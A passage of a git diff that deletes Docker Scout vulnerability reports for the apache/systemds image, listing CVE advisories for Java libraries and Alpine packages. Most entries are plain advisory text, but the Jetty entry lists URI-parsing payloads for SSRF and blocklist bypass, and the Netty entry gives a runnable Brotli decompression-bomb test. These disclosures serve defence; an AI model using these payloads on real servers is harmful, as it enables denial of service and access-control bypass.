CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
-medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- - -What's next: - View base image update recommendations → docker scout recommendations apache/systemds:latest - diff --git a/docker/scout_results/ionetty-netty/sysds_output16.md b/docker/scout_results/ionetty-netty/sysds_output16.md deleted file mode 100644 index f5553c29a9b..00000000000 --- a/docker/scout_results/ionetty-netty/sysds_output16.md +++ /dev/null @@ -1,1410 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 357 packages - ✓ Provenance obtained from attestation - ✗ Detected 22 vulnerable packages with a total of 35 vulnerabilities - ✓ Report written to docker/scout_results/ionetty-netty/sysds_output16.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:67f9add20cf4583d291156936d952341c3da57225bb9f2fbd22e8ae4c5b26f39
vulnerabilitiescritical: 0 high: 8 medium: 24 low: 7 unspecified: 1
platformlinux/amd64
size368 MB
packages357
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
